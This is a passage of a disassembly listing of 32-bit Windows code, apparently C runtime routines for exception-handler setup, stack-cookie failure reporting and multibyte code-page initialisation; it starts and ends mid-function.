arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		cmp	[ebp+arg_0], 123h
		jnz	short loc_4046C6
		mov	eax, offset loc_40474D
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		jmp	loc_404776
; ---------------------------------------------------------------------------

loc_4046C6:				; CODE XREF: sub_4046A4+Ej
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_404779
		mov	eax, dword_423064
		lea	ecx, [ebp+var_28]
		xor	eax, ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_10], eax
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_38], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_30], eax
		call	sub_40574D
		mov	eax, [eax+80h]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	[ebp+var_2C]
		pop	ecx
		pop	ecx
		and	[ebp+var_38], 0

loc_40474D:				; DATA XREF: sub_4046A4+10o
		cmp	[ebp+var_4], 0
		jz	short loc_40476A
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_404773
; ---------------------------------------------------------------------------

loc_40476A:				; CODE XREF: sub_4046A4+ADj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_404773:				; CODE XREF: sub_4046A4+C4j
		mov	eax, [ebp+var_38]

loc_404776:				; CODE XREF: sub_4046A4+1Dj
		pop	ebx
		leave
		retn
sub_4046A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404779	proc near		; DATA XREF: sub_4046A4+26o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		cld
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, [ebp+arg_4]
		call	sub_402AD0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		jz	short loc_4047A9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_404813
; ---------------------------------------------------------------------------
		jmp	short loc_404813
; ---------------------------------------------------------------------------

loc_4047A9:				; CODE XREF: sub_404779+1Dj
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+18h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		call	sub_40C124
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4047E7
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4045EC

loc_4047E7:				; CODE XREF: sub_404779+61j
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	123h
		call	sub_4046A4
		add	esp, 1Ch
		mov	eax, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	eax
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax

loc_404813:				; CODE XREF: sub_404779+2Cj
					; sub_404779+2Ej
		pop	ebx
		leave
		retn
sub_404779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404816	proc near		; CODE XREF: sub_40BCC4+81p
					; sub_40BDB6+1C6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		mov	esi, [edi+0Ch]
		mov	[ebp+var_4], eax
		mov	ebx, esi
		jmp	short loc_40485A
; ---------------------------------------------------------------------------

loc_40482D:				; CODE XREF: sub_404816+4Bj
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_404837
		call	sub_40C254

loc_404837:				; CODE XREF: sub_404816+1Aj
		mov	ecx, [ebp+var_4]
		dec	esi
		mov	eax, esi
		imul	eax, 14h
		add	eax, ecx
		mov	ecx, [ebp+arg_8]
		cmp	[eax+4], ecx
		jge	short loc_40484F
		cmp	ecx, [eax+8]
		jle	short loc_404854

loc_40484F:				; CODE XREF: sub_404816+32j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40485D

loc_404854:				; CODE XREF: sub_404816+37j
		dec	[ebp+arg_4]
		mov	ebx, [ebp+arg_0]

loc_40485A:				; CODE XREF: sub_404816+15j
		mov	[ebp+arg_0], esi

loc_40485D:				; CODE XREF: sub_404816+3Cj
		cmp	[ebp+arg_4], 0
		jge	short loc_40482D
		mov	eax, [ebp+arg_C]
		inc	esi
		mov	[eax], esi
		mov	eax, [ebp+arg_10]
		mov	[eax], ebx
		cmp	ebx, [edi+0Ch]
		ja	short loc_404877
		cmp	esi, ebx
		jbe	short loc_40487C

loc_404877:				; CODE XREF: sub_404816+5Bj
		call	sub_40C254

loc_40487C:				; CODE XREF: sub_404816+5Fj
		mov	eax, esi
		imul	eax, 14h
		add	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404816	endp


; =============== S U B	R O U T	I N E =======================================



sub_404889	proc near		; CODE XREF: sub_40B8AC+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_40574D
		mov	eax, [eax+98h]
		mov	[esi+4], eax
		call	sub_40574D
		mov	[eax+98h], esi
		mov	eax, esi
		pop	esi
		retn
sub_404889	endp


; =============== S U B	R O U T	I N E =======================================



sub_4048B1	proc near		; CODE XREF: sub_40B9D2+60p

arg_0		= dword	ptr  4

		call	sub_40574D
		mov	eax, [eax+98h]
		jmp	short loc_4048C9
; ---------------------------------------------------------------------------

loc_4048BE:				; CODE XREF: sub_4048B1+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_4048CF
		mov	eax, [eax+4]

loc_4048C9:				; CODE XREF: sub_4048B1+Bj
		test	eax, eax
		jnz	short loc_4048BE
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_4048CF:				; CODE XREF: sub_4048B1+13j
		xor	eax, eax
		retn
sub_4048B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4048D2	proc near		; CODE XREF: sub_40B9D2+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_40574D
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+98h]
		jnz	short loc_4048F4
		call	sub_40574D
		mov	ecx, [esi+4]
		mov	[eax+98h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4048F4:				; CODE XREF: sub_4048D2+10j
		call	sub_40574D
		mov	eax, [eax+98h]
		jmp	short loc_40490A
; ---------------------------------------------------------------------------

loc_404901:				; CODE XREF: sub_4048D2+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_404916
		mov	eax, ecx

loc_40490A:				; CODE XREF: sub_4048D2+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_404901
		pop	esi
		jmp	sub_40C254
; ---------------------------------------------------------------------------

loc_404916:				; CODE XREF: sub_4048D2+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_4048D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40491E	proc near		; CODE XREF: sub_40B8AC+7Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_423064
		and	[ebp+var_18], 0
		lea	ecx, [ebp+var_18]
		xor	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_14], offset loc_404674
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_18]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_40C2A0
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_40491E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40497C	proc near		; CODE XREF: sub_401065+7p
					; sub_40121E+7p ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_423064
		xor	eax, ebp
		push	eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40497C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4049AF	proc near		; CODE XREF: sub_401442+7p
					; sub_40B863+7p

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_423064
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], esp
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_4049AF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4049E5	proc near		; CODE XREF: sub_40177B+Ap
					; sub_4019F3+Ap ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_423064
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_4049E5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404A1B	proc near		; CODE XREF: sub_401065+2Dp
					; sub_40121E+6Bp ...
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		push	ecx
		retn
sub_404A1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404A2F	proc near		; CODE XREF: sub_40177B:loc_4019EBp
					; sub_4019F3:loc_401C15p ...
		mov	ecx, [ebp-10h]
		xor	ecx, ebp
		call	sub_402AD0
		jmp	sub_404A1B
sub_404A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404A3E	proc near		; CODE XREF: sub_402AD0:loc_402ADAj

var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	dword_4275E8, eax
		mov	dword_4275E4, ecx
		mov	dword_4275E0, edx
		mov	dword_4275DC, ebx
		mov	dword_4275D8, esi
		mov	dword_4275D4, edi
		mov	word_427600, ss
		mov	word_4275F4, cs
		mov	word_4275D0, ds
		mov	word_4275CC, es
		mov	word_4275C8, fs
		mov	word_4275C4, gs
		pushf
		pop	dword_4275F8
		mov	eax, [ebp+0]
		mov	dword_4275EC, eax
		mov	eax, [ebp+4]
		mov	dword_4275F0, eax
		lea	eax, [ebp+arg_0]
		mov	dword_4275FC, eax
		mov	eax, [ebp+var_320]
		mov	dword_427538, 10001h
		mov	eax, dword_4275F0
		mov	dword_4274EC, eax
		mov	dword_4274E0, 0C0000409h
		mov	dword_4274E4, 1
		mov	eax, dword_423064
		mov	[ebp+var_328], eax
		mov	eax, dword_423068
		mov	[ebp+var_324], eax
		call	ds:off_41D08C
		mov	dword_427530, eax
		push	1
		call	sub_407F15
		pop	ecx
		push	0
		call	ds:dword_41D19C	; SetUnhandledExceptionFilter
		push	offset off_41D408
		call	ds:off_41D198
		cmp	dword_427530, 0
		jnz	short loc_404B2E
		push	1
		call	sub_407F15
		pop	ecx

loc_404B2E:				; CODE XREF: sub_404A3E+E6j
		push	0C0000409h
		call	ds:dword_41D0C8	; GetCurrentProcess
		push	eax
		call	ds:off_41D0F4
		leave
		retn
sub_404A3E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B42	proc near		; CODE XREF: sub_404E6E+11Ep
					; sub_404E6E+173p
		sub	eax, 3A4h
		jz	short loc_404B6B
		sub	eax, 4
		jz	short loc_404B65
		sub	eax, 0Dh
		jz	short loc_404B5F
		dec	eax
		jz	short loc_404B59
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_404B59:				; CODE XREF: sub_404B42+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_404B5F:				; CODE XREF: sub_404B42+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_404B65:				; CODE XREF: sub_404B42+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_404B6B:				; CODE XREF: sub_404B42+5j
		mov	eax, 411h
		retn
sub_404B42	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B71	proc near		; CODE XREF: sub_404E6E+2Bp
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, 101h
		mov	esi, eax
		push	ebp
		xor	edi, edi
		lea	ebx, [esi+1Ch]
		push	edi
		push	ebx
		call	sub_407F20
		mov	[esi+4], edi
		mov	[esi+8], edi
		mov	[esi+0Ch], edi
		xor	eax, eax
		lea	edi, [esi+10h]
		stosd
		stosd
		stosd
		mov	eax, offset dword_423070
		add	esp, 0Ch
		sub	eax, esi

loc_404BA4:				; CODE XREF: sub_404B71+3Aj
		mov	cl, [eax+ebx]
		mov	[ebx], cl
		inc	ebx
		dec	ebp
		jnz	short loc_404BA4
		lea	ecx, [esi+11Dh]
		mov	esi, 100h

loc_404BB8:				; CODE XREF: sub_404B71+4Ej
		mov	dl, [ecx+eax]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_404BB8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_404B71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=49Ch


sub_404BC6	proc near		; CODE XREF: sub_404E6E+141p

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_512		= byte ptr -512h
var_511		= byte ptr -511h
var_504		= word ptr -504h
var_304		= byte ptr -304h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-49Ch]
		sub	esp, 51Ch
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+49Ch+var_4], eax
		push	ebx
		push	edi
		lea	eax, [ebp+49Ch+var_518]
		push	eax
		push	dword ptr [esi+4]
		call	ds:dword_41D1B4	; GetCPInfo
		test	eax, eax
		mov	edi, 100h
		jz	loc_404CEC
		xor	eax, eax

loc_404BFF:				; CODE XREF: sub_404BC6+43j
		mov	[ebp+eax+49Ch+var_104],	al
		inc	eax
		cmp	eax, edi
		jb	short loc_404BFF
		mov	al, [ebp+49Ch+var_512]
		test	al, al
		mov	[ebp+49Ch+var_104], 20h
		jz	short loc_404C44
		lea	ebx, [ebp+49Ch+var_511]

loc_404C1C:				; CODE XREF: sub_404BC6+7Cj
		movzx	ecx, al
		movzx	eax, byte ptr [ebx]
		cmp	ecx, eax
		ja	short loc_404C3C
		sub	eax, ecx
		inc	eax
		push	eax
		lea	edx, [ebp+ecx+49Ch+var_104]
		push	20h
		push	edx
		call	sub_407F20
		add	esp, 0Ch

loc_404C3C:				; CODE XREF: sub_404BC6+5Ej
		inc	ebx
		mov	al, [ebx]
		inc	ebx
		test	al, al
		jnz	short loc_404C1C

loc_404C44:				; CODE XREF: sub_404BC6+51j
		push	0
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+49Ch+var_504]
		push	dword ptr [esi+4]
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	1
		push	0
		call	sub_40C8A4
		xor	ebx, ebx
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_204]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	edi
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_40C6A9
		add	esp, 44h
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_304]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	200h
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_40C6A9
		add	esp, 24h
		xor	eax, eax

loc_404CAB:				; CODE XREF: sub_404BC6+122j
		movzx	ecx, [ebp+eax*2+49Ch+var_504]
		test	cl, 1
		jz	short loc_404CC3
		or	byte ptr [esi+eax+1Dh],	10h
		mov	cl, [ebp+eax+49Ch+var_204]
		jmp	short loc_404CD4
; ---------------------------------------------------------------------------

loc_404CC3:				; CODE XREF: sub_404BC6+EDj
		test	cl, 2
		jz	short loc_404CDD
		or	byte ptr [esi+eax+1Dh],	20h
		mov	cl, [ebp+eax+49Ch+var_304]

loc_404CD4:				; CODE XREF: sub_404BC6+FBj
		mov	[esi+eax+11Dh],	cl
		jmp	short loc_404CE5
; ---------------------------------------------------------------------------

loc_404CDD:				; CODE XREF: sub_404BC6+100j
		mov	byte ptr [esi+eax+11Dh], 0

loc_404CE5:				; CODE XREF: sub_404BC6+115j
		inc	eax
		cmp	eax, edi
		jb	short loc_404CAB
		jmp	short loc_404D39
; ---------------------------------------------------------------------------

loc_404CEC:				; CODE XREF: sub_404BC6+31j
		lea	eax, [esi+11Dh]
		mov	[ebp+49Ch+var_51C], 0FFFFFF9Fh
		xor	ecx, ecx
		sub	[ebp+49Ch+var_51C], eax

loc_404CFE:				; CODE XREF: sub_404BC6+171j
		mov	edx, [ebp+49Ch+var_51C]
		lea	eax, [esi+ecx+11Dh]
		add	edx, eax
		lea	ebx, [edx+20h]
		cmp	ebx, 19h
		ja	short loc_404D1E
		or	byte ptr [esi+ecx+1Dh],	10h
		mov	dl, cl
		add	dl, 20h
		jmp	short loc_404D2D
; ---------------------------------------------------------------------------

loc_404D1E:				; CODE XREF: sub_404BC6+14Aj
		cmp	edx, 19h
		ja	short loc_404D31
		or	byte ptr [esi+ecx+1Dh],	20h
		mov	dl, cl
		sub	dl, 20h

loc_404D2D:				; CODE XREF: sub_404BC6+156j
		mov	[eax], dl
		jmp	short loc_404D34
; ---------------------------------------------------------------------------

loc_404D31:				; CODE XREF: sub_404BC6+15Bj
		mov	byte ptr [eax],	0

loc_404D34:				; CODE XREF: sub_404BC6+169j
		inc	ecx
		cmp	ecx, edi
		jb	short loc_404CFE

loc_404D39:				; CODE XREF: sub_404BC6+124j
		mov	ecx, [ebp+49Ch+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		add	ebp, 49Ch
		leave
		retn
sub_404BC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D50	proc near		; CODE XREF: sub_402ADF+57p
					; sub_405019+1Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_421740
		call	__SEH_prolog4
		call	sub_40574D
		mov	edi, eax
		mov	eax, dword_423594
		test	[edi+70h], eax
		jz	short loc_404D8A
		cmp	dword ptr [edi+6Ch], 0
		jz	short loc_404D8A
		mov	esi, [edi+68h]

loc_404D76:				; CODE XREF: sub_404D50+96j
		test	esi, esi
		jnz	short loc_404D82
		push	20h
		call	sub_407C0D
		pop	ecx

loc_404D82:				; CODE XREF: sub_404D50+28j
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_404D8A:				; CODE XREF: sub_404D50+1Bj
					; sub_404D50+21j
		push	0Dh
		call	sub_405DA7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [edi+68h]
		mov	[ebp+var_1C], esi
		cmp	esi, dword_423498
		jz	short loc_404DDA
		test	esi, esi
		jz	short loc_404DC2
		push	esi
		call	ds:dword_41D18C	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_404DC2
		cmp	esi, offset dword_423070
		jz	short loc_404DC2
		push	esi
		call	sub_4039C3
		pop	ecx

loc_404DC2:				; CODE XREF: sub_404D50+56j
					; sub_404D50+61j ...
		mov	eax, dword_423498
		mov	[edi+68h], eax
		mov	esi, dword_423498
		mov	[ebp+var_1C], esi
		push	esi
		call	ds:dword_41D1B8	; InterlockedIncrement

loc_404DDA:				; CODE XREF: sub_404D50+52j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_404DEB
		jmp	short loc_404D76
sub_404D50	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DE8	proc near		; DATA XREF: c.7ld2ih:00421758o
		mov	esi, [ebp-1Ch]
sub_404DE8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404DEB	proc near		; CODE XREF: sub_404D50+91p
		push	0Dh
		call	sub_405CCF
		pop	ecx
		retn
sub_404DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DF4	proc near		; CODE XREF: sub_404E6E+19p
					; sub_405019+25p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		cmp	esi, 0FFFFFFFEh
		mov	dword_427804, ebx
		jnz	short loc_404E2F
		mov	dword_427804, 1
		call	ds:off_41D184

loc_404E21:				; CODE XREF: sub_404DF4+50j
					; sub_404DF4+67j
		cmp	[ebp+var_4], bl
		jz	short loc_404E6B
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_404E6B
; ---------------------------------------------------------------------------

loc_404E2F:				; CODE XREF: sub_404DF4+1Bj
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_404E46
		mov	dword_427804, 1
		call	ds:dword_41D188	; GetACP
		jmp	short loc_404E21
; ---------------------------------------------------------------------------

loc_404E46:				; CODE XREF: sub_404DF4+3Ej
		cmp	esi, 0FFFFFFFCh
		jnz	short loc_404E5D
		mov	eax, [ebp+var_10]
		mov	eax, [eax+4]
		mov	dword_427804, 1
		jmp	short loc_404E21
; ---------------------------------------------------------------------------

loc_404E5D:				; CODE XREF: sub_404DF4+55j
		cmp	[ebp+var_4], bl
		jz	short loc_404E69
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_404E69:				; CODE XREF: sub_404DF4+6Cj
		mov	eax, esi

loc_404E6B:				; CODE XREF: sub_404DF4+30j
					; sub_404DF4+39j
		pop	ebx
		leave
		retn
sub_404DF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E6E	proc near		; CODE XREF: sub_405019+5Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		call	sub_404DF4
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		mov	[ebp+arg_0], edi
		jnz	short loc_404EA5

loc_404E97:				; CODE XREF: sub_404E6E+193j
		mov	eax, ebx
		call	sub_404B71

loc_404E9E:				; CODE XREF: sub_404E6E+146j
		xor	eax, eax
		jmp	loc_40500A
; ---------------------------------------------------------------------------

loc_404EA5:				; CODE XREF: sub_404E6E+27j
		mov	[ebp+var_1C], esi
		xor	eax, eax

loc_404EAA:				; CODE XREF: sub_404E6E+4Fj
		cmp	dword_4234A0[eax], edi
		jz	short loc_404F19
		inc	[ebp+var_1C]
		add	eax, 30h
		cmp	eax, 0F0h
		jb	short loc_404EAA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		call	ds:dword_41D1B4	; GetCPInfo
		test	eax, eax
		jz	loc_404FFB
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_407F20
		xor	edx, edx
		inc	edx
		add	esp, 0Ch
		cmp	[ebp+var_18], edx
		mov	[ebx+4], edi
		mov	[ebx+0Ch], esi
		jbe	loc_404FEE
		cmp	[ebp+var_12], 0
		jz	loc_404FCF
		lea	esi, [ebp+var_11]

loc_404F03:				; CODE XREF: sub_404E6E+15Bj
		mov	cl, [esi]
		test	cl, cl
		jz	loc_404FCF
		movzx	eax, byte ptr [esi-1]
		movzx	ecx, cl
		jmp	loc_404FBF
; ---------------------------------------------------------------------------

loc_404F19:				; CODE XREF: sub_404E6E+42j
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_407F20
		mov	ecx, [ebp+var_1C]
		add	esp, 0Ch
		imul	ecx, 30h
		mov	[ebp+var_20], esi
		lea	esi, dword_4234B0[ecx]
		mov	[ebp+var_1C], esi
		jmp	short loc_404F69
; ---------------------------------------------------------------------------

loc_404F3F:				; CODE XREF: sub_404E6E+FEj
		mov	al, [esi+1]
		test	al, al
		jz	short loc_404F6E
		movzx	edi, byte ptr [esi]
		movzx	eax, al
		jmp	short loc_404F60
; ---------------------------------------------------------------------------

loc_404F4E:				; CODE XREF: sub_404E6E+F4j
		mov	eax, [ebp+var_20]
		mov	al, byte_42349C[eax]
		or	[ebx+edi+1Dh], al
		movzx	eax, byte ptr [esi+1]
		inc	edi

loc_404F60:				; CODE XREF: sub_404E6E+DEj
		cmp	edi, eax
		jbe	short loc_404F4E
		mov	edi, [ebp+arg_0]
		inc	esi
		inc	esi

loc_404F69:				; CODE XREF: sub_404E6E+CFj
					; sub_404E6E+110j
		cmp	byte ptr [esi],	0
		jnz	short loc_404F3F

loc_404F6E:				; CODE XREF: sub_404E6E+D6j
		mov	esi, [ebp+var_1C]
		inc	[ebp+var_20]
		add	esi, 8
		cmp	[ebp+var_20], 4
		mov	[ebp+var_1C], esi
		jb	short loc_404F69
		mov	eax, edi
		mov	[ebx+4], edi
		mov	dword ptr [ebx+8], 1
		call	sub_404B42
		push	6
		mov	[ebx+0Ch], eax
		lea	eax, [ebx+10h]
		lea	ecx, dword_4234A4[ecx]
		pop	edx

loc_404FA0:				; CODE XREF: sub_404E6E+13Dj
		mov	si, [ecx]
		inc	ecx
		mov	[eax], si
		inc	ecx
		inc	eax
		inc	eax
		dec	edx
		jnz	short loc_404FA0

loc_404FAD:				; CODE XREF: sub_404E6E+18Bj
		mov	esi, ebx
		call	sub_404BC6
		jmp	loc_404E9E
; ---------------------------------------------------------------------------

loc_404FB9:				; CODE XREF: sub_404E6E+153j
		or	byte ptr [ebx+eax+1Dh],	4
		inc	eax

loc_404FBF:				; CODE XREF: sub_404E6E+A6j
		cmp	eax, ecx
		jbe	short loc_404FB9
		inc	esi
		inc	esi
		cmp	byte ptr [esi-1], 0
		jnz	loc_404F03

loc_404FCF:				; CODE XREF: sub_404E6E+8Cj
					; sub_404E6E+99j
		lea	eax, [ebx+1Eh]
		mov	ecx, 0FEh

loc_404FD7:				; CODE XREF: sub_404E6E+16Ej
		or	byte ptr [eax],	8
		inc	eax
		dec	ecx
		jnz	short loc_404FD7
		mov	eax, [ebx+4]
		call	sub_404B42
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edx
		jmp	short loc_404FF1
; ---------------------------------------------------------------------------

loc_404FEE:				; CODE XREF: sub_404E6E+82j
		mov	[ebx+8], esi

loc_404FF1:				; CODE XREF: sub_404E6E+17Ej
		xor	eax, eax
		lea	edi, [ebx+10h]
		stosd
		stosd
		stosd
